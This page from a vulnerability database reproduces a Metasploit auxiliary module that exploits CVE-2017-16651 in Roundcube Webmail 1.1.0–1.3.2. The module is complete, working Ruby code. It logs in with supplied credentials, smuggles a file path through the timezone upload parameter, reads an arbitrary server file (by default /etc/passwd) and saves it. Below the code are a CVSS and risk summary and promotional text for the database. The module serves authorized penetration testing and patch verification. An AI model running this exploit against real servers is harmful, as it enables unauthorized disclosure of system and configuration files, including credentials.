Lucene search
K

Roundcube TimeZone Authenticated File Disclosure

🗓️ 06 Sep 2023 19:51:06Reported by joel <joel @ ndepthsecurity>, stonepresto, thomascubeType 
metasploit
 metasploit
🔗 www.rapid7.com👁 460 Views

Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem. Affects versions 1.1.0 through 1.3.2. Authentication required. Tested against version 1.3.2.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube TimeZone Authenticated File Disclosure',
        'Description' => %q{
          Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem, including configuration files.
          This affects all versions from 1.1.0 through version 1.3.2. The attacker must be able to authenticate at the target system
          with a valid username/password as the attack requires an active session.

          Tested against version 1.3.2
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'joel @ ndepthsecurity', # msf module
          'stonepresto', # EDB Module POC
          'thomascube' # original PoC, analysis
        ],
        'References' => [
          [ 'EDB', '49510' ],
          [ 'URL', 'https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1'],
          [ 'CVE', '2017-16651']
        ],

        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2017-11-09',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ true, 'Email User to login with', '']),
        OptString.new('PASSWORD', [ true, 'Password to login with', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Roundcube Application', '/']),
        OptString.new('FILE', [ true, 'The file to read', '/etc/passwd'])
      ]
    )
  end

  def run
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => {
        '_task' => 'login'
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response Code (response code: #{res.code})") unless res.code == 200

    unless res.body =~ /name="_token" value="([^"]+)"/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find Token Value")
    end

    vprint_good("Token Value: #{Regexp.last_match(1)}")

    vprint_status('Attempting login')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        '_token' => Regexp.last_match(1),
        '_task' => 'login',
        '_action' => 'login',
        '_timezone[files][1][path]' => datastore['FILE'],
        '_url' => '_task=login',
        '_user' => datastore['USERNAME'],
        '_pass' => datastore['PASSWORD']
      },
      'vars_get' => {
        '_task' => 'login'
      }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302

    vprint_status('Attempting exploit')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => {
        '_task' => 'settings',
        '_action' => 'upload-display',
        '_from' => 'timezone',
        '_file' => 'rcmfile1'
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response Code (response code: #{res.code})") unless res.code == 200
    print_good(res.body)

    store_loot('Roundcube.file', 'text/plain', rhost, res.body, datastore['FILE'])
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2026 19:01Current
8.1High risk
Vulners AI Score8.1
CVSS 24.6
CVSS 3.17.8
EPSS0.42831
SSVC
460